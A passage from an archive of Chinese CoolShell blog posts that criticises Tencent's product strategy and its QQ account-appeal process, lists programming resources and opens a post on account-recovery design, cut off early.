移动互联网\")来说，我觉得人要活得有价值，事业也要做得有价值。我不太待见那些没有价值的东西。所以，我在那篇文章里让大家都思考了一个问题，我们做这个事的价值在哪里？所以，要评论腾讯，就得想想他的价值。众所周知，腾讯的起家是通过IM软件QQ，当然，他有段时间几乎快不行了。不过挺过来了，造就了这么一个帝国。所以，腾讯的价值应该是即时通讯，让大家的沟通变得更顺畅，这点腾讯的确做得非常强大，视频，音频，涂鸦，抓屏，表情，Q币，共享，群聊，新闻，弹窗，离线文件，远程协助…… 的确做得非常地体贴用户。除了扫描硬盘文件有点那个。\n\n\n但是，最近的腾讯变了（当然有人说他也没有变，QQ本来就是抄来的），有什么就抄什么，没有创意，山寨大王，成了腾讯的代名词。马云也说过：“现在腾讯拍拍网最大的问题就是没有创新，所有的东西都是抄来的”。网上还有很多，什么“一直在抄袭，从未超越过”或是“[一直在山寨，从没反省过](http://weibo.com/2093492691/xwYpFB9IK)”等等的话，还有“[自从有了XXX，腾讯就出了XXX](http://tieba.baidu.com/f?kz=1007979914)”的文体。\n\n\n**但是，你们都错了，包括马云，我不同意你们，我觉得这正是腾讯的价值所在**。\n\n\n\n昨天有个网友写邮件给我说，整天rant也没啥意思吧，还不如真的做点C2C吧。他的想法是先把一些基本的东西如评论，发贴，头像，登录什么的都做好，然后国外出什么就抄什么，抄的会飞快。我给他回信说，你抄得过腾讯吗？他无语了。你看，一个有C2C想法的人就这样被放弃了其想法。所以，我觉得，**腾讯这样大规模的抄袭和山寨，对整个社会的价值就是——会让很多很多的创业团队放弃Copy，甚至让他们要放弃那些容易被复制的“业务型的项目”，而逼着他们去努力思考，如何才不能被腾讯复制，如何才能有自己的核心价值**。而所有的骂名都被腾讯所承当，腾讯把住了所有的茅坑，让你不得不去做最有价值的东西，这是一种什么样的精神啊？！对于那些整天都在骂腾讯的人来说，你们好好地去面壁反思吧！\n\n\n#### “腾讯的核心竞争力”一文\n\n\n顶在[这篇文章](http://www.zhihu.com/question/19920338)最上面的最佳答案是腾讯无线国际业务产品总监Andy Pan的答案，在微博上也广受推崇。不知道为什么，我总是有一些和大家不一样的想法，看来我是一个有相当逆反心理的愤青。没做出什么东西来，话还挺多，我都有点烦自己了，你也多多原谅我。\n\n\nAndy Pan的答案中，说了两点核心竞争力，第一个是腾讯的IM平台，还用了Windows来做比较，很明显，这个前微软件的产品总监并不知道什么是平台，关于平台，[Steve Y的这篇平台论](https://coolshell.cn/articles/5701.html \"SteveY对Amazon和Google平台的长篇大论\")说得很清楚了，建议Andy同学学习一下。Windows之所以是个平台的原因是因为Windows没有什么都做，而是开放了很多很多的API和SDK让第三方的产商去做，而腾讯并没有开放IM的API，不但搞定了珊瑚虫，而且什么事情都要自己做，这根本不是平台，平台是要去开放的，是要去为业界创造生态环境的，而腾讯的做法更像是封闭的垄断。当Andy Pan说起Amazon收购Zappos的时候，他忘记了Amazon的云平台上还养了一个巨大的竞争对手Target（最近分手了），还养了十年。因为，Bezos觉得有个竞争对手和自己进行良性的竞争对自己是有好处的。\n\n\nAndy还说做为一个IM细分用户的领域是有必要的，没错，完全赞同。不过，实在看不出来对领域的细分，更多的是对领域的扩张。新闻门户，搜搜，拍拍，百科，Q吧，炫风，炫舞，三国，英雄杀，浏览器，输入法，对战平台，电台，影音，图书，阅读，3366，QQTalk…… 一点都看不出来的是对IM的细分。你信吗？\n\n\n第二个Andy说的核心竞争力是员工加班。加班到深夜也成了核心竞争力，看来是实在找不到核心竞争力了。好吧，我觉得这句话可以说得更好一些，再怎么也应该说成是企业文化，或是企业文化催人奋进，每个人都有主人翁的精神，而不是工作负荷大嘛。你看，我都能说的这么漂亮啊，我才是像高管的样子哦，吼吼。对我来说，加班文化是差团队的表现，要么就是管理不行，让大家都加班，要么就是自己不行（反正肯定有问题，我在[多些时间能少些代码](https://coolshell.cn/articles/5686.html \"多些时间能少写些代码\")里论述过了）。当然，我知道了，腾讯的战线拉得很长，什么都要做，当然会那么累了，要学会做精不要做多嘛。\n\n\n作为一位高管，应该要知道，重要的不是你有多努力，你花了多少时间，而是你有没有去思考，有没有去创造价值。**腾讯难道不觉得，不断地创新去颠覆传统才是互联网行业的核心竞争力吗**。\n\n\n我觉得腾讯那所谓的核心竞争力是用户数量大，大在关系链上，像我这样几本不用QQ的人有时候都会被朋友和同学逼着去用QQ收个文件照片或是远程协助个什么。QQ这个聊天工具做得非常不错，这点我是要赞一下的。所以，这才让用户聚集起来，没有了这个，不知道腾讯会怎么样。\n\n\n#### 腾讯的软肋\n\n\nAndy Pan有一点说的是对的，就是腾讯和微软很像，不过像的不是平台，而是运营模式——那就是永远跳不出自己的模式。微软不管做什么，都必需誓死捍卫其Windows平台，连那么有创造力的体感硬件Knect也只能用在微软的产品和平台上，更不用说hotmail，Bing和Sharepoint了，如果能开放一些用点别的技术，我相信微软在互联网界可能还是很强大的。\n\n\n腾讯也逃不出“腾讯的模式”——那就是**大量的低端业务和低端内容**。我不确定腾讯是不是像微软那样誓死捍卫其低端业务和内容的。但是QQ的确驱逐了很多高质量的用户，因为QQ上的不成熟的小孩太多了，交友，网恋，甚至欺骗和色情在那里泛滥，造成劣币驱逐良币。另外，QQ这个名词起得很不好，因为正常点的成年人都不会去Q（装可爱），所QQ好像也就成了未成年人的代名词。而似乎有自我价值诉求的人都不会用QQ，在正式场合比如自己的应聘简历上留一个QQ邮箱还是有点掉价的。可见QQ的这个品牌形象很低端。腾讯的很多产品都走的都是这个路线。\n\n\n不可否认，这和中国网民的群体素质有关系。但我以为，**作为那么大的公司，应该担负起培养或引导网民素质，开启民智，引人向上的角色，而不是将就于低端的大众用户**。\n\n\n另外，还值得一提的是近来关于通过QQ抓人的新闻很多，所以，大家都知道的为什么更多的用户去用gtalk了。不过有一点应该是真的，那就是通过QQ监控聊天用户的体验，应该是很不错的。\n\n\n看到这里，你一定会对我抱怨说：“我擦，你这篇还照旧是一篇rant，fuck你一万遍”。别骂了，你没有看我已经赶快起了一个新段落来说点我觉得有点价值的东西。\n\n\n#### 真正的用户体验\n\n\n说起用户的体验，这是一个可能比较大的，也可能比较具体的话题（以前本站有一篇[关于UX比喻的文章](https://coolshell.cn/articles/3142.html \"用户界面和用户体验的差别\")）。关于用户体验来说，很多人都以为是对UI的一个加强，也就是说把UI的操作做得更好。所以，大家都在UI上花大力气做UX。这样的认识并不错，QQ做得也是非常好的，看看WebQQ，真是非常地强大。\n\n\n不过，我想说，**如果你认为用户的体验在UI上，那么你只看到了用户体验的冰山一角，用户的体验远远不只这个**。“**任何表面上的东西都是肤浅的**”——这是写Effective C++的Scott Meyers说的。\n\n\n你看——Reddit，Twitter，StackOverflow， 还有国内的豆瓣，界面做的真的不怎么的，Reddit的界面ugly到了就像是一个没有完成的原型网站一样！但是为什么人家的用户人气那么旺，为什么呢？\n\n\n这就是我想说的比UI更高层次的用户体验了——**关注用户的真正的体验**。我先举个例子——\n\n\n\n> 大家知道Amazon注册了很多个容易让人打错的域名吗？我这里有一个不完整的列表：Amamzon.com， Amaxon.com，Amazong.com，Amozon.com，Amazonc.com，Amazone.com，Amazn.com（翻墙），namazon.com…… 为的都是用户体验。（注：你要是用拼音也可以，如：yamaxun.com）\n> \n> \n\n\n这是一个很小的例子，旨在说明用户体验不单单是UI的事。\n\n\n下面正式阐述真正的用户体验（这些东西我在前面[那篇rant里提过了](https://coolshell.cn/articles/5815.html \"来信， 创业 和 移动互联网\")，这里说得更细一点）——\n\n\n* **注重社区的质量**。很多论坛和网站的兴起都是因为一开始有高质量的文章和素质高的人，然而，人气一足，三教九流的人都来了，于是劣币逐良币，那些素质高的人就只能离开了。所以，任何把高质量和低质量的东西放在一起的社区相当的破坏整体用户体验。尤其是那些对质量有诉求的人。为了避免劣币逐良币，大家要学习一下豆瓣，StackOverflow，没有什么热文版，就算有，也要精心地控制内容的质量。**你要知道，人们来这里是因为被这个社区有价值的东西吸引来的**。就像是去StackOverflow或Quora一样，可以得到很靠谱的答案，可以和很牛的人在一起交流，这是社区的价值。所以，像StackOverflow或Quora这样的网站，一些质量不高的答案在那里就会被投反对票，其会影响你的reputation。看看Amazon.com上的书评，IMDB上的影评，非常专业，还有打分，高质量的东西自然就浮出来了，低质量的东西自然就下降了。**小心维护社区的质量必然会给用户有更好的体验**。（不知道大家有没有参加过豆瓣的小组活动，我有一个朋友参加过一次关于绘画的活动，说是质量相当高）\n\n\n* **注重社区的权威**。像豆瓣或是Stackoverflow上都有评分。你怎么能让你的评分有权威性呢？你知道，在中国这块土地上有大量的五毛和水军，他们随时都可以开动，3Q大战的时候大家都见识过了，对于这些牛皮癣怎么办呢？在Stackoverflow上，你会发现，你没有15点reputation，你没有资格vote什么，你为了要能去vote什么，你先得贡献些什么，对于不懂技术的五毛和水军们完全搞不定这些东西了（当然，你可以去建一个问题，但是要小心被down vote）。对于豆瓣来说，豆瓣的每个用户都有个权威值，这个值通过用户的在线时间，发贴数量，访问次数，有没有高质量的文章，有没有参加社区活动，等等等因素，得出一个权威值。刚注册的用户权威值为0，如果有了一些负面的东西还有可能是负数，有些被社区所推崇的牛人级的用户的权威可能高达几千几万。这样，当水军和五毛们对一本书或是一个电影投票的时候，就算是数量大，但基本上没有什么作用。这就是为什么豆瓣里有的电影有70%的人投了三分或四分，但那个电影还是在快5分的样子。这就是为了维护社区的权威和质量的体现。淘宝的好评差评也是一样，但是如果可以被水军去冲的话，那就很没有意思了。看看大众点评网里的那些评论，很多都完全失去了权威。因为他们没有vote的机制。\n\n\n* **注重用户的个性化，并引导用户**。登录进入Amazon或豆瓣或是新浪微博，在首页上，你会看到你所关注的东西。整个首页是为你个人量身定制出来的。这样一来，就算这个社区里有什么流氓或是低端用户，那也不会影响用户的体验（新浪微博的隐私设置也是很不错的）。最注要的是，这让为引导用户，开启民智做了充分的准备——这就是推荐。Amazon是推荐算法的鼻祖。推荐书，推荐产品的邮件，页面定制，等等。Henry Ford 说过——“如果你问用户想要什么，他们会告诉你要一匹更快的马”，看看苹果的设计出来的产品，都是在引导用户，如果你只看到了苹果的UI，那只看到了一部分。苹果开发的东西都在引导用户认可和追逐有艺术气息的数码产品。所以，**根据用户的特征来向用户推荐并引导用户，告诉用户什么是好的，什么是有价值的，才是真正的用户体验**。\n\n\n\n* **把事变简单，把难度降低**。还记得以前的PC上的Windows吗？还记得以前的个人主页，现在的blog吗？他们可以让更多的人会更容易地操作电脑，发布信息。看看苹果的iPad，其可以让一个5岁的孩子或是60岁的没的接触过电脑的老人在5分钟内学会使用电脑上网浏览。这意味着什么？这意味着会使用电脑的人越来越多；可以让更多的人发布自己的信息。**这意味着什么？这意味着金字塔低端的人会越来越多，于是生态环境也会越来越好**。**对于业务来说，你需要给予end-to-end的服务。**就像苹果一样，你不要担心买来电脑怎么去装软件，去下载音乐和电影，也不必担心会装上恶意的软件。就像Amazon的第三方商户平台，对于商户来说，你把货发给Amazon就好了，你不必担心库存，物流，客服，退货，财务，所有的一切都由Amazon代劳了。这些东西才是最强悍的东西。（腾讯的QQ也是让很多人能上网聊天，降低了网聊的难度，所以也流行了起来）\n\n\n上面的这四点真正的用户体验，腾讯有没有做到？你有答案的。老实说，腾讯的用户体验只做了些很表面的东西。\n\n\n最后，让我用我东家老大的话来结束这篇文章—— \n\n\n\n> “我们对于完美客服体验的理解是，用户其实并不希望与我们直接对话。每次客户联系我们，我们都视为工作中的失误。我已经说了好多年了，人们应该与他们的朋友交谈，而不是与商家。因此，我们充分利用各种客服信息来探究客户联系我们的真正原因。什么地方出现问题了？那个人为什么要打电话？为什么他们花费时间与我们交谈而不是与家人交谈？我们如何解决这个问题？”\n> \n> \n> —— Jeff Bezos\n> \n> \n> \n\n\n**尊重用户，提高品质，不断创新——这才是互联网企业的核心竞争力！**\n\n\n最后注明一下版权，**本文由陈皓原创发表，你可以任意传载，但必需在明显位置注明作者和出处，而且不能用于任何商业用途**。\n\n\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![抄袭，腾讯 和 产品 ](../wp-content/uploads/2012/06/i-hate-copycat-150x150.png)](https://coolshell.cn/articles/7617.html)[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/16.jpg](https://coolshell.cn/articles/5966.html)[腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html)\n* [![由苹果的低级Bug想到的](../wp-content/uploads/2014/02/apple_goto_fail-150x150.png)](https://coolshell.cn/articles/11112.html)[由苹果的低级Bug想到的](https://coolshell.cn/articles/11112.html)\n* [![做个环保主义的程序员](../wp-content/uploads/2012/04/Green-Computing-150x150.jpg)](https://coolshell.cn/articles/7186.html)[做个环保主义的程序员](https://coolshell.cn/articles/7186.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/24.jpg](https://coolshell.cn/articles/6775.html)[Bret Victor – Inventing on Principle](https://coolshell.cn/articles/6775.html)\nThe post [腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-24 一些文章资源和趣闻.md",
    "content": "---\nlayout: post\ntitle: 一些文章资源和趣闻\ndate: 2011/11/24/ 4:39:4\nupdated: 2011/11/24/ 4:39:4\nstatus: publish\npublished: true\ntype: post\n---\n\n下面是我这段时间来收集的一些有意思的东西。本站这样的文章还很多，如[这个](https://coolshell.cn/articles/5224.html \"一些文章和各种资源\")，[这个](https://coolshell.cn/articles/3013.html)，[这个](https://coolshell.cn/articles/3903.html)。\n\n\nJavascript Garden，这是学习Javascript最好的网站了。<http://bonsaiden.github.com/JavaScript-Garden>，这个文档由两具StackOverflow的人写成, [Ivo Wetzel](http://stackoverflow.com/users/170224/ivo-wetzel)(Writing) 和 [Zhang Yi Jiang](http://stackoverflow.com/users/313758/yi-jiang) (Design)，表示敬意。\n\n\n想看看Web开发有哪些技术吗？你得看看这个网站：<http://stackparts.com/>，他对目前几乎所有Web上用得到的技术都分了个类。下面是个抓图。\n\n\n[![](../wp-content/uploads/2011/11/stackparts.com_.png \"各种Web开发用到的技术\")](http://stackparts.com)\n\n\nMozilla的安全编程规范 <https://wiki.mozilla.org/WebAppSec/Secure_Coding_Guidelines> [Downloads associated to Software development](http://research.microsoft.com/apps/dp/sq.aspx?a=47204&sq=dl#a=!77148!80820!132314!81593!77135!103269!77072!138731!77112!131133!149403!77128!78088!143130!77023!139171!138997!141118&p=1&ps=36)\n\n\nPHP,Perl, Ruby, Python语法比较<http://hyperpolyglot.org/scripting?utm_source>\n\n\n\n图形游戏编程的电子书 <http://ploobs.com.br/?p=766>\n\n\n图形编程黑皮书：<http://drdobbs.com/high-performance-computing/184404919>\n\n\n[Black Art of 3D Game Programming: Writing Your Own High-Speed 3D Polygon Video Games in C](http://www.dpfiles.com/dpfileswiki/index.php?title=Black_Art_of_3D_Game_Programming:_Writing_Your_Own_High-Speed_3D_Polygon_Video_Games_in_C)\n\n\n想学设计模式吗？这是一个非常好的网站：<http://www.vincehuston.org/dp/> 以元素周期表的形式把23个经典模式列出来，让我想到了这几天在看的美剧Breaking Bad，呵呵。\n\n\nhttp://www.vincehuston.org/images/GoF_full_medium.png \"设计模式元素周期表\"\n\n\nLearn C the Hard Way <http://c.learncodethehardway.org/book/>\n\n\nLearn Ruby the Hard Way <http://ruby.learncodethehardway.org/book/>\n\n\nLearn Python the Hard Way <http://learnpythonthehardway.org/>\n\n\nLearn SQL the Hard Way <http://sql.learncodethehardway.org/book/>\n\n\nLinux基础学习：\n\n\n* [Linux Fundamentals, Part 1](http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_1 \"Linux Fundamentals, Part 2\")\n* [Linux Fundamentals, Part 2](http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_2 \"Linux Fundamentals, Part 2\")\n* [Linux Fundamentals, Part 3](http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_3 \"Linux Fundamentals, Part 3\")\n* [Linux Fundamentals, Part 4](http://www.funtoo.org/wiki/Linux_Fundamentals,_Part_4 \"Linux Fundamentals, Part 4\")\n\n\n相了解GIF吗？这里有篇不错的文章：<http://matthewflickinger.com/lab/whatsinagif/bits_and_bytes.asp>\n如何在PC上通过VirtualBox装一个Android操作系统。 <http://www.javacodegeeks.com/2010/06/install-android-os-on-pc-with.html> 不过这篇文章有点老了，是去年的，最新的方式是使用[Android-x86](http://www.android-x86.org/)这个项目。\n一些你可能不知道的git的tips：<http://mislav.uniqpath.com/2010/07/git-tips/>\n\n\n一个给C/C++程序员用的Vim Plugin，我试用了一下，不是很好用。不过也许你会喜欢：<http://www.fortystones.com/vim-plugins-c-cplusplus-developer/>\n\n\n数独游戏的程序算法，140个字节的一段javascript程序： <https://gist.github.com/1230481/95f6facb74f51d089bea87eba0f470cf3bbed83a>\n\n\n一个教你用HTML5做一个画图版的教程：<http://www.primaryobjects.com/CMS/Article134.aspx> 其示例在这里 <http://www.primaryobjects.com/paint/>\n\n\nhttps://lh5.googleusercontent.com/-z17zh24rw4k/TmrH2wrPSRI/AAAAAAAAADQ/Az9W5Lge3Ok/h301/Untitled-1.gif\n\n\n这里又是一个HTML5的演示 <http://www.spielzeugz.de/html5/sticky-thing/>，一个物理的会粘在浏览器边框上的小方块，在iPad里演示相当有意思。只是其代码好像被搞得非常地不易读，不过，你可以试试这个工具来整理代码：<http://jsbeautifier.org/>，但是变量命名还是会让你毫无头绪。\n\n\nHTML5的一个很炫的示例：<http://lights.elliegoulding.com/>  你可以用鼠标巡航，点左键加速（另，那位朋友知道其背景音乐？）\n\n\n[![](../wp-content/uploads/2011/11/lights.jpg \"lights\")](http://lights.elliegoulding.com/)\n\n\n想用HTML5做股票图吗？看看这个库：<http://www.rocketcharts.com/>\n\n\n\nhttp://www.rocketcharts.com/img/rocketcharts.png\n\n一个7K的js，可以让你的HTML的列表很灵活的分类，排序，搜索，过滤：<http://listjs.com/>\n\n\n一个OOP的PHP处理图片的类库：[http://imagine.readthedocs.org](http://imagine.readthedocs.org/)\n\n\nhttp://imagine.readthedocs.org/en/latest/_static/logo.png\n\n\n一个Javascript实现的H.264解码器。<https://github.com/mbebenita/Broadway> （[演示地址](http://mbebenita.github.com/Broadway/broadway.html) – 请用firefox打开，download速度可能很慢）不过，其是用Android C实现的，然后把C转成Javascript的代码。如果你想知道如何把C代码转成Javascript，你可以看看这个项目：<https://github.com/kripken/emscripten> – LLVM-to-JavaScript compiler。（变态！）\n\n\n一个可以画流程图的Javascript lib – WireIt：<http://neyric.github.com/wireit/>\n\n\n![](../wp-content/uploads/2011/11/wireit.png \"wireit\")\n\n\n这是一个网站，仅用CSS，没有JS，没有图片做的N多公司的logo。但其可以用纯CSS做个动画，你可以看看：<http://www.ecsspert.com/atari.php> 研究了一下发现其用到了  -webkit-animation。\n\n\n一个用bash处理JSON的脚本：<https://github.com/rcrowley/json.sh>\n\n\n微软VS中的Debug Canvas,相当的不错啊。<http://msdn.microsoft.com/en-us/devlabs/debuggercanvas>，可惜只在 Visual Studio Ultimate里。\n\n\n介绍一下很有意思的Firefox插件 [Titl 3D](https://addons.mozilla.org/en-US/firefox/addon/tilt/)，其项目主页在 <https://github.com/victorporof/Tilt>。这个插件使用WebGL可以3D地显示网页，安装好插件后，简单地按一下Ctrl+Shift+M就可以了。下面我用其显示了新浪微博和WebQQ。目前的功能不是很多，但是这个插件简直是太cool了——可以大胆的设想一下以后会不会有3D的网页。\n\n\n![](../wp-content/uploads/2011/11/tile3d_weibo.png \"tile3d_weibo\")\n\n\n![](../wp-content/uploads/2011/11/tile3d_webqq.png \"tile3d_webqq\")\n\n\n最后，在网上看到一个笑话，如下：\n\n\n这是给程序员们女朋友的建议。如果某程序员要和你分手，你可以参照这位国外程序员女友的作法——“你可以在facebook和twitter上拉黑我，也可以不回我的短信，但是，你永远不可能阻止我对你在Reddit上发的所有的贴投反对票！FUCK YOU ！”\n\n\n![](../wp-content/uploads/2011/11/1z2qalh.png \"生气的女友\")\n\n\n就这些，希望对你会喜欢。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [![浏览器的渲染原理简介](../wp-content/uploads/2013/05/Render-Process-150x150.jpg)](https://coolshell.cn/articles/9666.html)[浏览器的渲染原理简介](https://coolshell.cn/articles/9666.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/7.jpg](https://coolshell.cn/articles/4795.html)[开源中最好的Web开发的资源](https://coolshell.cn/articles/4795.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/14.jpg](https://coolshell.cn/articles/3903.html)[一些有意思的贴子和工具](https://coolshell.cn/articles/3903.html)\n* [![Web开发人员速查卡](../wp-content/uploads/2011/02/1128-150x150.jpg)](https://coolshell.cn/articles/3684.html)[Web开发人员速查卡](https://coolshell.cn/articles/3684.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/23.jpg](https://coolshell.cn/articles/3516.html)[JS游戏引擎列表](https://coolshell.cn/articles/3516.html)\n* [![程序员练级攻略（2018)  与我的专栏](../wp-content/uploads/2018/05/300x262-150x150.jpg)](https://coolshell.cn/articles/18360.html)[程序员练级攻略（2018) 与我的专栏](https://coolshell.cn/articles/18360.html)\nThe post [一些文章资源和趣闻](https://coolshell.cn/articles/5537.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-25 腾讯帐号申诉的用户体验.md",
    "content": "---\nlayout: post\ntitle: 腾讯帐号申诉的用户体验\ndate: 2011/11/25/ 0:27:9\nupdated: 2011/11/25/ 0:27:9\nstatus: publish\npublished: true\ntype: post\n---\n\n前面写过一篇“[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)”批评了腾讯，于是在[我的微博](http://weibo.com/haoel)上和[博客](https://coolshell.cn)上收到了一些反对意见，基本上是说腾讯产品的用户体验做得很好，很方便，等等，还列举了N多的例子，以及说过什么用户数量为王的言论，让我感到我应该写一篇博客。当然，如果我们只看某个技术层面的东西的话，我同意，QQ的一些产品还是很易用的。但是我们还是要看得更深一些。Effective C++的作者Scott Meyers 在《More Effective C++》中说过——“美丽的是肤浅的表现”。   我借用一下这句话，认为QQ是好的产品的观点是肤浅的认识。\n\n\n网上有大量的文章说[QQ扫描硬盘](http://handsome4215.blog.sohu.com/154141629.html)啊，说[QQ收集用户信息](http://hi.baidu.com/kernone/blog/item/db7218d9c1756f3933fa1cb5.html)啊，你可能忘了这些。前段时间的3Q大战的那个“艰难的决定”，你好像也忘了。还有狗日的腾讯，你也忘了。包括[QQ可以预防犯罪的新闻](http://www.cnr.cn/newscenter/kjxw/201111/t20111103_508725677.shtml)，你可能也忘（这本就是一个容易忘事的民族）。你已经被QQ的用户体验迷住你的双眼，觉得QQ无敌于天下，就像[这个微博](http://weibo.com/1577826897/xyZ6vpv2y) 以及微博里的回复一样在赞叹QQ注重细节一样，那些人在看到QQ的Mac版上向Steve Jobs感谢的字样激动不已。我感到你被一块红布蒙住了双眼也蒙住了天，我问你看见了什么，你说你看见了幸福 ，这个感觉真让你舒服……（对不起，一不小心我就在唱歌了，So So Sorry）\n\n\n回到正题，你会说，我们在谈技术，不谈这些非技术的。好吧，我们来看看技术上的东西。我和大家说一下这两天我的真实经历。\n\n\n两天前，我的QQ号被“恶意投诉”，封了号。腾讯让我走申诉流程，于是我看到了下面这些步骤：\n\n\n1. 填入我的真实姓名，身份证号，地址等我的真实信息。 （盗号者也可以填）\n2. 填入我的手机号，并要用这个手机号向腾讯发个短信以收取验证码。（盗号者的手机）\n3. 填入我以前曾经使用过的QQ密码 （盗号者盗到的密码）\n4. 填入我是什么时候，在哪里注册的QQ （盗号者可以填忘记了）\n5. 填入最近3年来，我在哪里使用过QQ （盗号者也可以填忘 记了）\n6. 邀请QQ好友来帮助申诉，越多越好，需要填号好友的QQ号和真实姓名。 （盗号者也可以用自己的小号，这些小号可以加你为好友）\n\n\n**这已经是非同寻常的流程了…… 从这个申请过程中你看到了什么？**你是否看到了这些东西：\n\n\n\n* 收集你的用户信息，从姓名，地址，身份证到手机号，包括你好友的真实姓名。\n* 收集并验证我过去使用过的密码，以及我在哪里使用QQ的。\n* 这个过程无法确保安全性。没有一点技术含量。\n\n\n这些意味着什么？你会说，因为我不知道QQ盗号有多严重，所以他们才有这样的措施。那么我不禁要反问一下了——\n\n\n* **这个世上还有什么产品是可以让别人通过申诉来让你的帐号失效的？**\n* **又有哪个产品是通过收集真实的用户信息和朋友的信息来找回密码的？**\n* **这个世上还有什么产品是在注册的时候不要真实信息，而在找回密码的时候要真实信息？**\n\n\n要收信就应该在注册的时候收集，你见过哪家银行在开户的时候不要你身份证，而你取钱，挂失的时候需要身份证的？只要腾讯愿意，弹个窗，于是就可以一点一点地让所有的人都走申诉流程以收集真实信息。我看这个过程并不是想看上去的那么简单啊。这就是用户体验？你可能还依然坚持你对这一做法的理解，那么，我真心希望你看看别的系统和软件是怎么做的。（老实说，一个手机号，另一个邮箱就可以搞定了）\n\n\n我的朋友在微博上回复到——\n\n\n\n> //[@真谛419](http://weibo.com/zhendi419)：。。。qq是一个伟大的企业，一步步微创新走到了创新横扫CIA，FBI的浪潮之巅 //[@chengxi\\_](http://weibo.com/n/chengxi_): CIA弱到爆，QQ knows it all. 这个获取所有实名社交网络的创新不亚于 [reCaptcha](http://t.cn/h5kPIK)，用QQ的和裸奔的区别在于“裸奔”是自愿的。\n> \n> \n\n\n你也许会说，这是腾讯因为不可抗力不得已这样做的，我们都应该理解腾讯。我想了一想，我觉得你说得有道理，你无非就是想让我说——腾讯不SB，SB的是用户。好吧，我承认你有一定的道理。\n\n\n既然这样，那么我就不得不加粗朋友的这句话了——**用QQ的和裸奔的区别在于“裸奔”是自愿的！！** 而且，我仿佛、似乎、好像，隐约还听到有人在欢快地呻吟着：“在QQ上裸奔的用户体验太~~好~~啦~~，让我高潮不断啊~~~啊~~~啊~~~啊~~~~~~~~”。行了行了，你可以裸奔，但是没有必要那么爽吧。\n\n\n（对不起，我本不应该骂人的，更不应该还骂的那么低俗，重要的是，这本来应该在新浪微博上骂的，因为那里的骂人用户体验最好的地方……）\n\n\n结尾了，你会会说我是一个喷子，呵呵。我想说，**腾讯是一个天使和魔鬼的混合体，东西还是要一分为二的看**，用么还是可以适当用用的，但是我们的头脑还是要清楚一些明白那是怎么一回事。\n\n\n\n**（转载本站文章请注明作者和出处 [酷 壳 – CoolShell](https://coolshell.cn/) ，请勿用于任何商业用途）**\n\n\n\n### 相关文章\n\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/12.jpg](https://coolshell.cn/articles/5987.html)[如何设计“找回用户帐号”功能](https://coolshell.cn/articles/5987.html)\n* [![抄袭，腾讯 和 产品 ](../wp-content/uploads/2012/06/i-hate-copycat-150x150.png)](https://coolshell.cn/articles/7617.html)[抄袭，腾讯 和 产品](https://coolshell.cn/articles/7617.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/30.jpg](https://coolshell.cn/articles/5901.html)[腾讯，竞争力 和 用户体验](https://coolshell.cn/articles/5901.html)\n* [https://coolshell.cn/wp-content/plugins/wordpress-23-related-posts-plugin/static/thumbs/20.jpg](https://coolshell.cn/articles/3877.html)[另类UX让你输入强口令](https://coolshell.cn/articles/3877.html)\n* [![网络数字身份认证术](../wp-content/uploads/2022/01/iStock-1175502114-150x150.png)](https://coolshell.cn/articles/21708.html)[网络数字身份认证术](https://coolshell.cn/articles/21708.html)\n* [![HTTP API 认证授权术](../wp-content/uploads/2019/05/Authorization-360x200-1-150x150.png)](https://coolshell.cn/articles/19395.html)[HTTP API 认证授权术](https://coolshell.cn/articles/19395.html)\nThe post [腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html) first appeared on [酷 壳 - CoolShell](https://coolshell.cn)."
  },
  {
    "path": "blogs/rss2html2markdown/2011-11-28 如何设计“找回用户帐号”功能.md",
    "content": "---\nlayout: post\ntitle: 如何设计“找回用户帐号”功能\ndate: 2011/11/28/ 0:34:30\nupdated: 2011/11/28/ 0:34:30\nstatus: publish\npublished: true\ntype: post\n---\n\n因为《[腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html \"腾讯帐号申诉的用户体验\")》一文中好多人觉得腾讯申诉是世界级先进的，并让我拿出一个找回用户的帐号的功能来。本来不想写的，因为大家看看其它系统的就行的，但是，很明显有些人就是很懒，也不会思考，而且不会观察，所以，我就只好写下这篇科普性常识性的文章。\n\n\n在行文之前，我得先感谢腾讯公司的至少30名员工在《[腾讯帐号申诉的用户体验](https://coolshell.cn/articles/5966.html \"腾讯帐号申诉的用户体验\")》一文后的回帖（我STFG（Search The Fucking Google）看到了你们使用的那个固定IP在各个大学论坛上的腾讯的招聘广告），我感谢你们主要有两点：\n\n\n1. 你们有半数以上的人留下的是gmail而不是QQMail/Foxmail的电子邮件，这点让我感到很欣慰。\n2. 你们在加班到晚上11点的时候都能在本站回复，的确如你们的Andy Pan所说，你们的核心竞争力很强，包括水军方面。\n\n\n好了，让我正式谈谈这个设计。找回用户帐号通常就用三个事就可以了：**邮箱**，**安全问答**，**手机**。\n\n\n#### 